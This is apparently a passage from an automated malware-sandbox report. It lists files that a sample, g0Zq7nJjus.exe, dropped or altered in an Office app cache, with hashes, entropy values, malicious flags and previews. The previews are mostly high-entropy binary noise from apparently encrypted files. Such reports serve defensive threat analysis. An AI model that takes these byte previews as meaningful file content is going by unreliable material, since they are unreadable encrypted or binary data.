SHA-512:	1BF03EB9C638DBE0121EDC2154125361F727459FDD8AD520B2D659354DF69CDBD3339E268D4D1555F8412288579267687BC8ECC05F574854351733C994492371
Malicious:	true
Preview:	!func.]...G..'...O.W....6/ .....(.......G...j...v.c...<..... ..o..rj..p....,.7..r.K2..R\Qra.k...N..3.....%)...Q;.#.J..m....].4gE,.1..B.........g..B.#....h07.q.6...........Z...Q.y..^I...W>y..3THf.IS..d.y...0].0...Q.0]s..jg`..%..&n...[S"...zEw./...2..`.P%.....6..Ow...#.....c.....\...O.F......S...AS...Ev..f.........H.?.P......y..f.bP.FjR...$..V..eH{.s.Md.t..\|.}..p._ &.[...........M\|..'0....."(...<...LV...0...M....O..}q..He........&...,Za../7...@....W..?.SF......[T~..&#....j..).7*.A..F#..b...n.y..@}..\|i.o......%.yLP.B..U,.....bQPN.rn...}..V.../......n...r.O.iw.f.5D.-@R.2n..K.:...\|.uO...!%.z.J....E=....% j8...mw.R........_...>......R.A....u.`aX..HR.R...!..7:S%.... N.HCQ......I..2..a].{.!o[U..=..z2........#.".e...`V..<.M.....$..j...Aw....5.Y>.L......&...)?..._`...]i^d33...h...P$S.>..X.d.R......<.....$.......0.MM)u."..Y.>...4..9..mo....N....U..4~.l{....0jYX)...h.d.XV.2.....Idh....wZ......];.,-v2,..N..L...R.4.J5....i...a.6T.Z.;..V.....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\EEVQAF7E\staticpwascripts-30998bff8f[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	18908
Entropy (8bit):	7.989491073131944
Encrypted:	false
SSDEEP:	384:SakIDJ6BPIsk+U25eIJ40KkiCdSKXUYdj1y5IiaVvQpVWns:SalJUBzB5xJKeXUusIiXpz
MD5:	3FE8C899D5B284A8D94F8C3E6219C998
SHA1:	8E79EDCEDA398F18E59313561186AFBD70E29447
SHA-256:	C1D8C7A251C81C60BFAC875245CBCD86BCBF39F9ACA4052E94A63C0822423815
SHA-512:	05909A5D25EA1EC0DCAA970DE328BB6640A8B9654FC233BD020C1F14E3F254872128CB0709DD0B92538680FD850AB096B5D2CD6CC30AD7C950B4AD2382797E29
Malicious:	false
Preview:	var H...V..Bq%-....I..5...Q..6V...\5r.f@.m...V.....h....."..WN.5.<.T.i..m..N,...[.}D.j.^.1..0.N.../..R.X..7......+..Ay..Yt......R...^Z.0..]2?w......i.....;w...4[..6\|&...sx@.....]..#C./Q.2.....=.b<.zxEYs..U.e.... 9...87.<....{...7.....xqY..@._BNn.l.?.g..c...........w3...N...~Ra]<......3....O\.....#o.....3B..o,....W.YV....hz"=.._.6.kyiZ....A......[......]..Q.y78.......cT....6..5L..[...u..X#F.~Tgv..X?0u...F.........gR.<.....c5.....+].r.u?xj.]j.-S.3...LL5q.BI.5.4.......kI...>\t...21p...I..}.=:...O..b...u.....1.!...._...59...;h.c....'~.....~,H.....d.."..8...{7..j2t.._..Kd..J#.2:...f<?...ct..FGZ.....]j.`....]....i.#.m...Q..nZPV... ..N.....I.pKo.2I..Z.j.ni.3...&.N[........O..I.+...8c....1.H=. T<.~..D\|.a..b....o....a.._..!j}(......^~.0......Dp#Pg.'R.%..O^.T)...0q.^..Bs..`..cBP.M......~Z...J(..H.<!..`..B..s.Q..aH.@...Y..(D.RR.....ek...-...\.b9XF!.1v...J.q.e..-G...w.].D...N.E.3..8.!._M.r_:>q..Qvq.4..P.'.W.....y..?.i...f'U?&$....E.G..!W...p...I Odvf.).'...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\hero-image-desktop-f6720a4145[1].jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	JPEG image data
Category:	dropped
Size (bytes):	138532
Entropy (8bit):	7.99840510923055
Encrypted:	true
SSDEEP:	3072:qxEM0it12cikd7FjETVNz187Do4LcTme6VgYkZ7Kde7h:K0it1hiy7Uz8vo6ume6VgL7Kch
MD5:	2C19D3A547D0FAE12B8ED29113B4E010
SHA1:	3F060FE93F2E0513B5A1504899468F164B73A3B6
SHA-256:	2481C3984BD2EAC130805A46D654CEA60FDD02C97F4CAFE01600D2D178989537
SHA-512:	0B73BF04664E856361BFEE2D4C32856646647BA38A2241FC6569621998E8C98381B027A79EE831A5ACF5C44C62A032E4E9A038665B95FF86B8B987C67307A351
Malicious:	true
Preview:	......M.5S..;.X.....X=$......v.....f.\.K.\(......e)......t.n.].....NO..$.....GM........;...OpL..SK.....y8..$..8`.>...%..,\|.`....bP.y@&......1..h.........rI....2kY....b....w..w1l.=.8.E..aHd5.s&.....;S`TVt.....c.5.D.S......DG..a$..l..G.jh.,2GN...w.\|..SR..c.l....>GXtS..N.bs.u^nMB.....@?...R.h....FI{...?R......Rn.SuR.....n.8j...h.6-.M.....u..C.>.......I..."..._t.Z....$...1.M..].-..uT..........Dcz..U{5..h9...<..dW.q.F...yx.....oC@B..X..U...+....xB...^..{..@..E..G J...a.....;/..\|....).=...Q.n.l...=...i..Z.....G......j../#.,.P2..8.?....~..A.F.n.....]...3y..8p..e.!.2X...lW..MD..0.q..nN....hd..X....0...\|.s...9.X.c...AzS.y@.W..T...E...,....C{.R....0..H.n.Nu.\|~.ci..j..@b...o.U.tI..r...=.?D.2f..C.B<)..CT.....hmV.t....0......y.D......KNI...c.kM.uF.0q...v...<...'...0.$....}.......a..8o.....ax....4U......5}.y....i..C...:.....kK.U.....1o.m........ .....".gS..\'^...zG.=.93L....D...J....t.o.. $~(...C.zl..ai......P..l......y.M%..6h.0nA......a9.%{...%..,y.>;.\.$

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\otel-logger-104bffe9378b8041455c[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	97860
Entropy (8bit):	7.99804797383276
Encrypted:	true
SSDEEP:	1536:EtWViUIrDcLv6ckNCNM15Drz6wRIGtEEm1FQGPKKQOjAm41C96eCyux8qtGi:EEVqELvcf1Zz66D4PmOUm41U/Cy6mi
MD5:	E30A2C93360A02E6741F061EFF71BD52
SHA1:	22387AF8C587E0E790DFB2B273B55693095AF35A
SHA-256:	70C4045C5BFA5F06E019B10EB46379A92E3615BEF2527188E7A096A681C4FBE9
SHA-512:	D085E88CA4D076BFDA3E41C4005AF87499D70CB193A8847850A6FA05D2194299D92B21BBB58747838E8EA09F9A95355165FCDD1F08AF24DDD7BE6FD6D31C2C5D
Malicious:	true
Preview:	/! F.G.$....-.....L.2K.qHzY.iNRL....=l".....>...P. O..U..`..h2p.L........J......J.~..p.Z%.3v..7..i.Jo....D..X..\0......(...i....h,yd.%.../..AP......Pd.1.,....L.9.K.p+......s..L..>V...9..V5.2...i......8...vc...$5.....RQ..a...Y.....F....c.J.].t?P..Z....n.)h.j...-/./.=.x.6....Oe`....G.L1.':...-6.....>e9oM...^`;....<..E.......<I..>N....d.]+..JKo..-9B..P.WB..v...rE.....9.;34S6E>....(..Iu...X...f.C.31.......^....~.....a_........L.#..Z...0.....6..M...j.\|.l .#z.....R.`.3.y.9C..X:. .+..u!..f\|99j....0.G..S.../.....y..R.z....+d...J.g.y..{...6?\d...7..l.2...M\.y...^&.+.....\|...:m......iZ.v.d(..O@.]......h7.t@..j.{N.RG.X\|...1.C...;VD.S..f..}Q.....^..a....xOE..}.c{E..{....c.......5.a.w...au.B.A4.f_.B:]n...)...GF.E..F.)...\|......z..[u.d..3..._\|.;~.<...!A........../.J..[dWn6..%.BO.!....[."u:........Ylt..D...w.y$ASe....{.q.#:....A.#.En..V.m..t......*U0.....;..D.C/d...\|..e..Vo'k.p/.lx.%.N..ao.0.].,.:..dj`..v6.Kd...U...&.Ri.H.n.I}.. `...C.8_...%

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\pwa-35de8a913e[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.930659460378689
Encrypted:	false
SSDEEP:	96:q2J71T+8yjGskCltv5shzELqXje/X/G4HtXbDC9NA:qA1T0fDxgzELujUvGSSA
MD5:	4A19565D2CCD91DC98F7B8DB1093833F
SHA1:	1E670E1C05530C8EF4143D6120DB20DCBED44FE4
SHA-256:	5B2A03674063617126F28B8828F0698E1C0CF1FFBB8BF49334A82F4B4F63FC71
SHA-512:	41375DCED90EA51F3AEDE13891F578252CB04D22B26833EA3320253B831E0033FF97B2B5D081A12FF2784CFF9BEC561E02EAC8B2C13AEB889305324BAF24CA46
Malicious:	false
Preview:	#erro..B..ppk.ojFju..f.... .6i....>w.....&.Q...}s.".g.n\|)...C..$...+..G.Gu...GnvwR."......g.:.0;e./.[.&>..h...m.b.....w.(8sY.T.N..6...vh....5....(.......o:......N..(....'.s.....O..0,q1..DY.k.P.J!....\5.:..)......`....^......j..:.}..cIC.\Vv.+;Q..QU._....7_....g....A.;..MP......G..W...}.l.I.w.$.>@-G....1.=./.>ZL. 3g2#...q}OFL..>Q...P....s.6J..f.Y...T...Q..a3yZ.w..Cf.......d.>^....S.X[.aV....g.5..b..9..8*.Wr.:..R.v!..8..........H..\..7.]...jA...w.=.FJ.s...^?.....F;..L/..`....do..ab.a.+.Lx.F..,u\h..z;?,..+....Z.....B..:TX.T...68.gJ....'..U..b...=..9.y...<.....@.Y"e..S.%..Of..,....H..7....(...R.w...{.o.(.I./SnX....3\|..j..zR......B..u..;..C0.;.0cp.a./.]].w......$x.]....Z.........BA.7...+......$...=......03...q...-.,..K:...>.rC.av+Thq^Sr.......Z....e.:..[...F..)q;R...I}.@..E........."...eG;pHT.M...c..z{W%^.Nq2Gud 7.J).Q..=..r.O.l.A.A..yb.>B.D.j..h....H..]f..o~.w.o.. ..}...6............HXh..=......[...(...18.....Q...-. .#T'Z.?.f7]y..+f]

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\pwa-vendors~left-nav-rc.169ce481376dceef3ef6.chunk.v7[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	11040
Entropy (8bit):	7.983092070780761
Encrypted:	false
SSDEEP:	192:sbr12kL+D00reeOufDg2u+odzU+vxvQHYO/7DmZLjsTJG15g9HX:q6DDreeOufx+d4+vxvQZmZLjJ1OHX
MD5:	4018CA06C1C6276637E0FAC4B9865139
SHA1:	6379AA1CC6107DB5181A5F7459F5B9E377995E62
SHA-256:	0CB0837ED0BA3683D1FC68E4D915F04079E66B483C325B8A596CE6E3F180DC28
SHA-512:	1C16E3524CC4D5F22A656E52BF511469A83077C34632F33928260B3A06B507448D9778ED3957F59E823E947773F8203B0BE587D1B6203425748E053C70E1EC7A
Malicious:	false
Preview:	.CreaH..v6..Q[s..evG.......t"..,P......WVKU.G.l..7#......&K..V..6'.....s.E..k..<.v......$f.rzf`......8}..B&.!n.&.....\]:I...De...6.......w.q..B1..G..J..Y_......t%U.B..S.+'....i..L...>...........'KV...:s.....'.!_".....Wn....{...T...?.z.../.........a(.....Ok.......^{.].K....y^..,...j= ..y...6P..#,nV...7..b...c...UB.F.....}x..+.gt.u....?...y.4f.&..>%....L...=.e....`E.....;G..wW9.~.%s}.)y._...b....r..l`.)}..1..........p#..6.W+[\..w...fP ...aB.......)......wY.q....:8.gl ..:....6#...b.X.Y...8.:&..>.o!....O.8L.F0J..`:+jM./?.N....}.\|(uj.......JH~..{l.pAfy.@.i..U.....(..b..XpA....5=DJC0....'...M....pT....R~.e..w5......u8#....}0.........!{...%'.'Gw..0a. ...p6.#X..A0e........dHd'C.& -..T.........n%...Q...........a.j..T.......Se.2.....Z..?.]../.\|.....y../....X...^.Q.W.rD./..MY.E5..../.[C-.._.B..U!.?....Rc...I.#p...Z...R...U..=.a.4..."pF...F.#.......M`....2.Vo.r.Y[o...Lp.x...D~....S.C....z.n[5.k...w..c...O.....W....../{.E..fM....%IM.5.......1...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\segoeui_semibold[1].woff2

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	Web Open Font Format (Version 2), flavor 1058555, length 1838673127, version -20935.11715
Category:	dropped
Size (bytes):	11690
Entropy (8bit):	7.983702550070712
Encrypted:	false
SSDEEP:	192:1ytxcmNr6wH2q5Psj2Nhc4/WBn4hqmV6gY0gme7eiEOLRyA7Pk8/vOhduV:kNh/hsj2oD4hqY6gNgfqONyADk8XOaV
MD5:	DB77E6A235E09E0381047B142BAD6719
SHA1:	85F4167C7C093FA7DCFDA47BFB1CF2256A7332F1
SHA-256:	A328890395EF9CEB8A3D87B641232FFBC966FC71EDD73E7F2DD793DBAD95A8DB
SHA-512:	439DB36C932CB33B3B89E3AFFF0F3EF6E288FD44C88C88140921FEF10BDFE0EA8A77FA29A9E95C52D5E4E26EAA3BEEEF1ADF9F2056875BB0359D5C204F0D83AC
Malicious:	false
Preview:	wOF2..&.m...9,......2k+s.9-.I.Y ..e..&+..`{9...iD....2....M.r.....[.r..F&.X...k./..^..;....Y..{.'[....`.....N.=.IzQ..<;0.3Lg....<..FI..<.y..<-...k.._@......=.'.m{C..uS6..],.....p....c..(.9.G]R8f..O$...u6..8d......o......Z1c.E.../m b2VShe.Wj.=..X.~.j.....j..^...&....._..^...6...H?>"./.T....\|...%..X..Du.7...g..$I..dBH.Xi#y.g_....RU...U....;Q}7g....{..gk......@.?.7.:\l50.....E.c).x+ ...].$s..t.....hN.rm4..e.,F.M!..^0..C........w.........g:..A.......q.[^..Aj.S.1.&k..l....H.......0..P......L......$.]r..9.\|.pZ.i....=.^F..w%3..,..d.]K]..g....G.Q}...../t...>.{Brl......7..E.xy.u........3@z.5.._]2..0-"..z..2..k.I]23...\|,. ...{".+..!;8.....#Ya..0.f..zz&.=3(.[9.>1.iS....)..~.q2r....I}..+P.X...@TOMk..].+...j\|..F..i.P......yr..8}PT#.......u.8.j....{..R.T".}+.*.}...~S.YPm.R...MYM.8....tm\7G._zx].J`....`.c..[.rv.Y.x..f9!.3........g.3....v.OOC..n.O6n&...+#.+[...>@ .}ro....y].B.(.'xShP....?......a.V...k!E...e..k.....Ib.F,Ik./&..}[..........H.....Te

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\staticstylesfabric-35c34b95e3[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	239275
Entropy (8bit):	7.742179513896814
Encrypted:	false
SSDEEP:	6144:kHZBWTSGcji/yPSc9TcWtjRuKNCvnNkUeej4:EaS92qP/+WtjRDN4k7ej4
MD5:	C99F24F4D743180AD57A29E8164BE39E
SHA1:	6BABB55DC70757ABE421BE062E429FF2241ADA09
SHA-256:	39031CECD4251209FE92F8911C205ACA62519336A527F5879396244CEF3EBECB
SHA-512:	4C73FC1B81CACF6E6FF4B2914B7C6BCAA16BCED5F5E71EDC13B71A9E1CF0488EEFA46A8B355CBEAC84280A8CD569DECEF4CA4EDA88F4F7D4B60C7ADD7C57B75C
Malicious:	false
Preview:	.ms-op..z.=.H.%G~.T..8....l.M.\|.. .G.D.V%.\|......hUR."...r~..r.K.~!...[Z.a.sK...Q....Ci.0h[..'.../......./..Fo!....EEO....#B.e.a.q.3....;.8m......R..=1..OB.. ..6;9D.s...Cj...Of7....Jh........ .C.{.u.T....#.K>.A...p...Q3..[..".m......d.R.....unp...X['3..F..Q......%M..V.e.F...YA.......D...)..,.Q......Y......\|...Uq.7....uI.L.......-W.VW.MA.....HeZ{t..l^..z.J;a.l[.".\/....p....(.7......G..}....a..M,.Z....l..Fc...u.:4........T..&.....F_."..eNP......r.y...$..)$6.3+..bq..U.\C..X3-Mg..8y.5....HoP'.$9N.1+.Mh..\. ....~I.95.G^;}..17..D.`.........40T.....e"iC..@JN.".BVK..........m!.-..V..7fF{sMRj5..:}..G.x.....0.Q..r...E. ....Go..YFp....Y..hL..2.fa6.F..SPr]....g.u.[.B?Q.}A^.-.......Z@....\|.Jq.W.........O.A...L\..c.a@.v",..J.@..,....{.$......p:..3......w.....%l.g...2......_....}w.E.qWA...fRi...I..8.4.......p.F./P...S.......+l.J..\.....]Ac...K~.j...a....B^.7;.7*3~.E..\|..G{;7K....T..t......... .o.+..hOi..%.5'.T.....Q....'HL...+0A%.I....3g...._

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\GG9F64KE\unauth-checkmark-image-1999f0bf81[1].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.654706060688075
Encrypted:	false
SSDEEP:	12:bFuvKu/gvlC1UytrtQnawyEvuQcU4iVZUELYqzoCngAzeWNf0iASUdNcii9a:ZLu/gvM1UydQa/yUEsqUCgQeWNf0M2bD
MD5:	186FBCA85222FFB36CAC5B424DE93568
SHA1:	9A06E875C681D1F450009DE02C333ECE243A3789
SHA-256:	89CD772AC7678FA6D3F88415A9D675B02671E8CD8707106A72129110C072720F
SHA-512:	8A403BE345C75C1A3E34AD9DCBBB484BDD967A5E636F13A1987D7D9ACDEC2DD583CE43A1A03DF51EF252F52613385ACB496B5540CB0FB1580F753DFCBEAD80AC
Malicious:	false
Preview:	.PNG..5.i.pOQ..M.........1..C..]..1.......A..._tA.(...HkP...E..F.q..i#.3...#.g...9.0g.\... o...g.....r.j......1..19r.4.+.N'....qZ.N4[n.h......`k.....`.........(......S...Iw.d..tf.`!...~R..G..,......\sPk..r^..........\|..+..\|a.2.E.lE...6Z...2....:.l.....y.3....[. y.Y.....>.D.4..'%..o....L.AX7..lM.L..........X....AL.{G..s....[_r.Y.b.4.=....-.'.#[.;Q.[...^....q..6i=,.Xf.0..Zg...m$.t..........9.......\|).. ;..s..x5-yf6F..#.........Zr..h...!......:ez.[q.?..v..\..T.@.."...=....~@T.&.gfJ...8..av$......].^........\.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.996141509557248
Encrypted:	true
SSDEEP:	1536:V/1N+nPgSG5d21CwcuIOIK1Gezwqqy3TTUQq:V8opSnHIOIK8oNqKTTUF
MD5:	00818887799277B3CAAAFC42738AA299
SHA1:	9716BF980C97FA19810FFC99310494CCBA3B191D
SHA-256:	663CEF7A7E80FE75C85EEFCD6B1EC50742B9B5D72CBADDDF4FC1E67129257796
SHA-512:	864BDF11B33995E512A56A5677A6A393507E7F16BAD89EA963B21BEFF92A91E296B96DAEFD79E28C78BEF9B939D627792B9631371CD7526F4AB1ED4EBD77B326
Malicious:	true
Preview:	.....Q=+..@.Z.Ls....H..[... .2...e...lI.>....<.Q...4..X..-.. .K..tD.PN.S.F.8.+.nN......rsBC{......8;...{..q.T......8.+M]..p.l.PvuS.9M`>:.......i.6=.....[....CLi..7...=.e...Aw....Z.3.....@....-..Za.!.cX."..j..B.e.9.+#x..X..p...ea.np.n;..F.xN0...(...;....Z....._...C4.s...........I.A.[......=M...c.....p..m.X.HC...Y.4..1H6n..'.u.kyY8...[;{.S.j}..'..6)Aa...2.}~..M..3d..i;..J..nr.^.Vu.d...r.`D...UH5.f...z...,..@...." ...-...UU...~.....).K.....q..Yq.Z.~M....MuC...:.v.........,..#.0....c..r..#.......,`..4.y.M..)=.<....p..b%lSfE4.DS.dK.CW..~cw..b.'......9..uH...K.Xd..m.S...+z .&.\]G...l^...9.h..%m.j.V=...=.Z..P.'.....7Z.6o!.QfH..eS..G.~{..........n.gl.,r......+...KfXbR.a...Q...g..3....n..K...8.0D.}!.K....0...b...I.........8*o...i.....Y.l. ......N^p..bE...t.+....D...8..F....... ....{.H.;v..S,...H.)...O...}C0..=..A......I..O.rw!D....].....D..NLA.~J.P'..I......f...<.ao.i.%........7.bq\r./.R.EEw..(Y~...1.t..j....%M._..g.Z..L..pQ........

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3858198433890452
Encrypted:	false
SSDEEP:	3072:pfVF567WFX5nIQTBckoSNUBaDZEsgmXl24YJ9IRbhW7HaAkzxRSSa8w+Afa8w+AX:jzbiko9B8mvmXl24YJ9IDW+AcxCiv
MD5:	BAEDC1BD0883BB8C3D80890178A04A4B
SHA1:	9AC6B296291028F2401ED7B7D876B26C29CEA8DA
SHA-256:	17B69E584C4D7260E4E6B6F3B50DDFA14937BD35CE32DE8C5033FBEEA6ED014F
SHA-512:	5B54B6FFB739F42CB1D86CD937298A6FB5B058693D39B9FB93853B1E59228849AA3DFC88FC12BE956FE0239989AAA43D2AC86368560698F3FEC095F0F8535B35
Malicious:	false
Preview:	wvi{.....%.1...:M..<xeG.......A.....x..'.@v.A.....^?.._..R.......-.S.X..q.Vc....c>.].Vw0~bTEm...e./q....r.e.M3.S.ZU1.==..m[.D.DP&......M7.7..\|.#............ZC......d...X...b.F..i.....x.R&....y....f.O.$......p2.U\|.D.Y7.e.[j..B.>Y..J..W0.f7WI.t.9:]5."..c...... k./z.......Kk.\|.;...qK8........+^.1..N...^.8..P..5.7........1N.l.A'..8o.}..."...$.{.E.6....c..11.$.E......5....}.Lrp...=...VR.@;.r8'.1..B]..lw./.a.^.u...U...QF.........\|.'..P......5uF'].....e.lO...A...x.t,...\x?f..z...l....&.2y%F.Qw...M.vW.<.?,tbn..5_)j.{.s.Ilz)....8J<...n{.JX..E........d...1.p...e.!.2W%iz!..;.V.\|.....@.Dl....n.B.......OIV.Q..l.....B%.w.MB..4u..+s..N...!.p~.$....e.F.../T.....H.......y..g..lP.}\|...r.K..,...n~...d..`X.Mb&.h...o...G.....K.?.b*...Z..8...g....Ig....a....+7.>....Z...(8[U.. .(...T...m\..x.....E..f+y....2....s..N.I.{......B}...fR.(.C...7.....Qo...6..w.....Y..?.....y..\|.S....~.yc.Ro.H..7 f>....fN.@6..3....V....3?.......c..$..k.0Q...y..<+..=..m..U%.;.D.w..K.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989230183762931
Encrypted:	false
SSDEEP:	384:wc30nyHPRNiqu0ITw4fk0RQWsq92d1yUhuhQYR:dEqNLujnaW5IbDhuhQYR
MD5:	26C6288B3C84AE4CF85DDDA6F14A414F
SHA1:	DC75800BE7E7ED536F20FCF1A1563093A41BABAE
SHA-256:	E42E94C5103F47144D4028DAC2376065EC63232CEC6A567A0B787486E2086E07
SHA-512:	DC9377D4DCC721BA65BAB5A06FBA4FC387FBE2A9E49CA02D51E02872AEC86376A2E39C865E34821E1EC6D7097165B7F38DF9AFE1C6DD8A2967732874F3D70215
Malicious:	false
Preview:	.zG3..}3..;..[.....[Z.z.3..66...o..X...X.tS.x.........u...DS\|..E/..`.v.....d..G....V.e..y......%,...T..S........g@..U.Y.yc....F...5......7P.Q......16!~$.D.{.AXV....."..j..oo...x4z..j.=6v.........2.x~..Ch.b.u.X..MF..-..B......(.x`.'....E..;..K..w~.)...E.......e.v.9.E.fL.u^q.u. 3.....N4?.\p.x..5....Jt...N..KHE@................-.M0.-."..3..u...X.z...y.IY. .3 .+o.V.U.......UV..WD..(I..)l..Q......Z.m..Z..5.....\.]....fg......Z.Ll.5.g..u...9.'7.:t....bY.....5.O..z..u...&{#..v.H....h.V.<....6...HW....P.F..'i...."....K.in.Ba\._.BU..V.... jGE}.T%.?..2t.....,]..>.(....5....x......Z..P....G.....3..5.#.Yn..R.f.T.......\.W}o....H.(E.&.m....}.9Q...z.v..+.........5...^........NO.!...j..( T.D....3.)k.f..o..?pPp..B......I..M...fH?\|.C...-..3.z.......S?.._....M.?w..z..%....yQ.B..w..:W._....j..6....$.H\|is.....8Z..`.v'..-.#wo.x..l{Km.Y..JX3...G.1.>.?..**3nM..-....4..q...+..4....:.......2.G."../..?)v...M.@D..M9_lDt...)Gx.SsS..9..W;>..Xx<_..X........B..}..)

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974601660601365
Encrypted:	false
SSDEEP:	192:pmNi++gnz6gaF6o9glYTiYktsm1zn+5HzOCsVqjMgb6Toa:pmk++g1i6jlYTIH1z+5HzOzqggb6Toa
MD5:	66F96CB53B3F87F609CDB90BCF730C56
SHA1:	6CDCEA02C9C64C436245C5ADF41F839B4E0593F6
SHA-256:	5B1A58251A002689CB6228CD629BDB332FB4FC6D33C822D7A4C13655B25998B6
SHA-512:	0E5EEAD690EBFB2DF3919AE6F9080780053F41E62CD60A64AFDD11AB1DE3B8078076A21D0217CB48C5DF06CA0003CB16E5D94B7810622D3B7C059DBEB01E9E2E
Malicious:	false
Preview:	regf....w.j........{4..q.m....L.0+!.M......\|u.d.8.3.E-6.Q.0Q..z...~.Ko...Fw4....aM..Nq.....M`^-...T._.M....N...pt..Sq}...l..H.Mo..3+.G..........b..n...Eo.o^..s1...#.I.mj......T..=O.....^..Ta.r..^.y..0j.N9Y..[....1.@...I. ...H..m..o........Lb...........Z...+....X.\W....$...w...l...(..D......5.g.Y......i.#..4...)8.../d<a.$.?...b.#........Q;..?..(._=.rU...K..2.B1C.....7...`......U......J....;..L.bDA..L...Hc..f.;..D..E..)!.[.E.g.....\.<..Sn...{...a....OH.Z..g_..Tk;.>.+..]g`c.L.\|.\|.T&..\|..-......T.5..I.G~..v..7..8....D..Z..qY.M../....,..)V.#..ss.-,...R!...65.......)....$.2u..M-......\..=j..<....d...{Z.L.9nO.....7...a..n......."'jZ./....D.L..M.Y..VY.0Q.=HB._...#X..).,.".=..y..N..x.{..........8...e......K\b.j.".@..mn..(-B.s..Ar..4.~g.i..\..$..>j.?.]....A...m...."...P.....F.7.........3]/h.O..YxS.....n.0[.<.,fmj..mw....SR.MDO..PM...!..RS"n..k.G. ....i3a3.e`....].2.Z.1.....Aea....k.qf...T..x.v......'..Cz.G!..Z.%.O..Z."..'...c.'...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97660447978738
Encrypted:	false
SSDEEP:	192:sUAeqL90qnD1RAZYGbwr93tqGq6gW3j6frZCoGymge66:9EL9VD7AmGbUZ1xgAefcoG1B66
MD5:	E626DA1364AA6B976BFAF1A2BB24E88A
SHA1:	AF29B07B13D9275B59B8792F1DB5353360C60161
SHA-256:	783105C00CD11A0A09DECDCFFA199FB2B22AA51DEA9E747D6B17CB782648F19C
SHA-512:	F9621376B333AEA5AC0237111418A47CAB9AF277F1A0DC0BAEDB04124FA6D1012BFE8E6C64A5BBE5036E7847E93F4D3470A2F927FEA79E91CEBBE7F8BAF8CFB5
Malicious:	false
Preview:	regf...m.h...y..z?.L.:!..=.e.@...8...:.bR..[...Y...GC}xe.#.../.}....=..<....uI.0.ho`Q.......L..5nV.SH..B.'...",.....V...w...l...].@. y.}...B..!...^.8.]R\.....h....I........4T_......h0...!.(r. C#...`..aj.".e.....N.n..sJ../......?.q....t...?......^...V.(/.ej./vjy._...OOu...I......d{TD.....3\|+....}.9.M...G...?.>l8.A..y2-0'15`..`.q.]]..'J.....\|z!8....uG.l.;.....<r.U.../...!.=.....&)l.,e.8..(.b..N<au........?3#...F..f!O}...1..\|L..l.....F........S..-r[L..f.f..F.AU.....JN.D..8....x....n#..........oaN....Ns..Q. ....V.....J......T.7...?..?......(..8.;.p....!0.v...pq).P....D..7..:.u...t}.,......2y.:....W`.e_pi]`..W.<..........#/......i.<...n{.J.[.=.b...\8.(.E~...n...57..... .[..v...d6..w...J.j....0..9.W.......?t.F.....0.. $A6...U}#Rn....]lU.o./......W.[J........'....:...v.*...{W+..-K.]{.%A..P..W...`d..vQ..R(..\|.\U....Pl.D........dP.V..........Q..m........c(..mmF..!1....N.F..Uv.....mX....t..Q..X.....s............b.}P...J...b..{?I

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978869658450533
Encrypted:	false
